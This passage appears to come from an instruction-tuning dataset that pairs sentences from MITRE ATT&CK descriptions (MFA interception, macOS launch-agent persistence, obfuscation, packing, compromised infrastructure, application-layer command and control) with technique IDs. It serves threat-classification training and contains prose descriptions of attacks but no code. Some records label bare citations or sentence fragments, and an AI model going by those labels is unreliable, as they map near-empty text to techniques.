multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources.", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use.", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Mandiant M Trends 2011)", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Mandiant M Trends 2011) ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID.", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes).", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GCN RSA June 2011)", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GCN RSA June 2011) ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other methods of MFA may be intercepted and used by an adversary to authenticate.", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other methods of MFA may be intercepted and used by an adversary to authenticate. ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is common for one-time codes to be sent via out-of-band communications (email, SMS).", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is common for one-time codes to be sent via out-of-band communications (email, SMS). ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the device and/or service is not secured, then it may be vulnerable to interception.", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the device and/or service is not secured, then it may be vulnerable to interception. ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "phones.(Citation: Okta Scatter Swine 2022)", "output": "T1111", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: phones.(Citation: Okta Scatter Swine 2022) ### Response: T1111."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).", "output": "T1159", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). ### Response: T1159."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).", "output": "T1159", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware). ### Response: T1159."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence).", "output": "T1159", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). ### Response: T1159."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The agent name may be disguised by using a name from a related operating system or benign software.", "output": "T1159", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The agent name may be disguised by using a name from a related operating system or benign software. ### Response: T1159."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection)", "output": "T1159", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) ### Response: T1159."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: OceanLotus for OS X).", "output": "T1159", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: OceanLotus for OS X). ### Response: T1159."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).", "output": "T1159", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges). ### Response: T1159."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform software packing or virtual machine software protection to conceal their code.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform software packing or virtual machine software protection to conceal their code. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Software packing is a method of compressing or encrypting an executable.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Software packing is a method of compressing or encrypting an executable. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Packing an executable changes the file signature in an attempt to avoid signature-based detection.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Packing an executable changes the file signature in an attempt to avoid signature-based detection. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most decompression techniques decompress the executable code in memory.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most decompression techniques decompress the executable code in memory. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities used to perform software packing are called packers.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities used to perform software packing are called packers. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example packers are MPRESS and UPX.", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example packers are MPRESS and UPX. ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation:", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Awesome Executable Packing)", "output": "T1027.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Awesome Executable Packing) ### Response: T1027.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party infrastructure that can be used during targeting.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party infrastructure that can be used during targeting. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of compromised infrastructure allows adversaries to stage, launch, and execute operations.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "campaigns.(Citation: FireEye DNS Hijack 2019)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: campaigns.(Citation: FireEye DNS Hijack 2019) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting.", "output": "T1584.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. ### Response: T1584.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.", "output": "T1584.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. ### Response: T1584.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)", "output": "T1584.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) ### Response: T1584.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)", "output": "T1584.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) ### Response: T1584.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTTP/S packets have many fields and headers in which data can be concealed.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTTP/S packets have many fields and headers in which data can be concealed. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "output": "T1071.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ### Response: T1071.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately 